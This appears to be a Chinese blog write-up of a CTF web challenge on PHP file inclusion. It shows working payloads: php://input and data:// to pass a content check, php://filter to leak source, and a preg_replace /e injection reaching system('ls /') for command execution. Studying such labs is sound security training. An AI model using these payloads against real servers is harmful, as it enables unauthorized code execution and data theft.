• [BJDCTF2020]ZJCTF,不过如此1


    打开题目可以看到一段php文件包含,源码如下

    1. error_reporting(0);
    2. $text = $_GET["text"];
    3. $file = $_GET["file"];
    4. if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    5. echo "

      ".file_get_contents($text,'r')."


      "
      ;
    6. if(preg_match("/flag/",$file)){
    7. die("Not now!");
    8. }
    9. include($file); //next.php
    10. }
    11. else{
    12. highlight_file(__FILE__);
    13. }
    14. ?>

    简单分析一下这段代码,代码通过GET方法来传入text和file两个参数,并且传入的text参数通过file_get_contents函数以只读的方式打开,而且当它强等于"I have a dream"这个字符串是,才能够去输出并且去执行下面的那个if判断。下面的那个if判断只是简单地判断了一下file传入的值中是否包含flag这个字符串,如果包含的话,则会输出"Not now!",否则就会去包含file传入的这个文件参数。

    关于file_get_contents函数的利用手法,看这里PHP文件包含漏洞利用思路与Bypass总结手册(一)_index.zip-CSDN博客大佬总结的特别好,我好爱。

    在本题中file_get_contents函数的利用如下(burpsuite抓包)

    POST /?text=php://input

    ……

    ……

    ……

    I have a dream 

     可以看到通过这个办法是成功过了第一个if

    看了一些博客还有一下是通过data协议来绕过的,直接就是?text=data://text/pain,I have a dream

    在上面大佬的博客总结中也有提到。

    那么第一个if绕过了接下来就是第二个if了,可以看到源码中是包含了文件,并且给了提示那么我们就可以通过php伪协议来读取next.php里面的内容了

    我们利用php://filter协议来读取next.php内容,于是我们在burpsuite中就可以添加上file=php://filter/convert.base64-encode/resource=next.php,然后就得到了next.php的源码。

    我们将返回的base64解码就是next.php的源码了,源码如下

    1. $id = $_GET['id'];
    2. $_SESSION['id'] = $id;
    3. function complex($re, $str) {
    4. return preg_replace(
    5. '/(' . $re . ')/ei',
    6. 'strtolower("\\1")',
    7. $str
    8. );
    9. }
    10. foreach($_GET as $re => $str) {
    11. echo complex($re, $str). "\n";
    12. }
    13. function getFlag(){
    14. @eval($_GET['cmd']);
    15. }

    先学习一下preg_replace函数PHP preg_replace() 函数 | 菜鸟教程 (runoob.com)

    函preg_replace 函数执行一个正则表达式的搜索和替换。

    preg_replace ( $pattern , $replacement , $subject)

    • $pattern: 要搜索的模式,可以是字符串或一个字符串数组

    • $replacement: 用于替换的字符串或字符串数组。

    • $subject: 要搜索替换的目标字符串或字符串数组。

    返回值:

    如果 subject 是一个数组, preg_replace() 返回一个数组, 其他情况下返回一个字符串。

    如果匹配被查找到,替换后的 subject 被返回,其他情况下 返回没有改变的 subject。如果发生错误,返回 NULL。

     在next.php中,complex函数中使用了preg_replace /e模式,这会导致preg_replace中的第二个参数会被当做代码执行,但是这里的第二个参数是一个不可变的,但是存在一种特殊的情况:

    在正则表达式替换中,strtolower("\\1") 这一部分中:

    \\1 代表第一个捕获组中的内容。在正则表达式中,用圆括号 () 括起来的部分就是捕获组。捕获组中的内容会被记住,并且可以在替换字符串中引用。\1 是第一个捕获组的引用,在双引号字符串中需要用 \\1 来表示。

    strtolower函数的作用是把字符串转化成小写。

    1. preg_replace(
    2. '/(' . $re . ')/ei',
    3. 'strtolower("\\1")',
    4. $str
    5. );

    那么这段代码作用就是

    • 找到 $str 中匹配正则表达式 ($re) 的部分。
    • 将匹配到的部分传递给 strtolower 函数。
    • strtolower 函数的返回值替换原匹配的部分。

    示例:

    preg_replace('/(\w+)/ei', 'strtolower("\\1")', 'Hello World');
    

    这段代码会将 HelloWorld 都转换为小写,结果是 hello world

    那么这样一来这段代码执行的就是preg_replace中的第三个参数了,这样即使第二个参数是不可变的也可以执行代码。

    这样的话我们只需要利用这个方法来执行getFlag()函数,在传入cmd来执行命令就可以了

    构造paylaod=/next.php?\S*=${getFlag()}&cmd=system('ls /') ;

    解释一下:

    \S*:匹配任意非空白字符。

    \S*=${getFlag()}:这将构造一个匹配,并且将捕获组的内容作为代码执行。

    也就是这段代码会遍历传入的GET参数,将GET传入的变量名给了$re,把变量名的值给了$str,那么这样在传入paylaod的时候preg_replace会变成

    preg_replace('/(\S*)/ei', 'strtolower("\\1")', '${getFlag()}');
    

    那么执行完的界面就是

    发现flag,换一下命令就可以了,得到flag

    参考文章:

    [BUUCTF][BJDCTF2020]ZJCTF,不过如此1(做题记录_[bjdctf2020]zjctf,不过如此 1-CSDN博客

    BUUCTF:[BJDCTF2020]ZJCTF,不过如此_[bjdctf2020]zjctf,不过如此-CSDN博客

    PHP文件包含漏洞利用思路与Bypass总结手册(一)_index.zip-CSDN博客 

  • 相关阅读:
    遥感影像正射矫正
    消息队列&中间件
    使用 stream buffer 传递数据
    基于Springboot的校园求职招聘系统(有报告)。Javaee项目,springboot项目。
    java计算机毕业设计基于ssm的火车订票管理系统(源代码+数据库+Lw文档)
    (附源码)ssm在线学习网站 毕业设计 011451
    统一网关Gateway
    智能升降桌控制主板开发,解锁办公家居新场景
    8.30 - 面向对象的相关概念
    工厂设计模式
  • 原文地址:https://blog.csdn.net/m0_73673698/article/details/139755547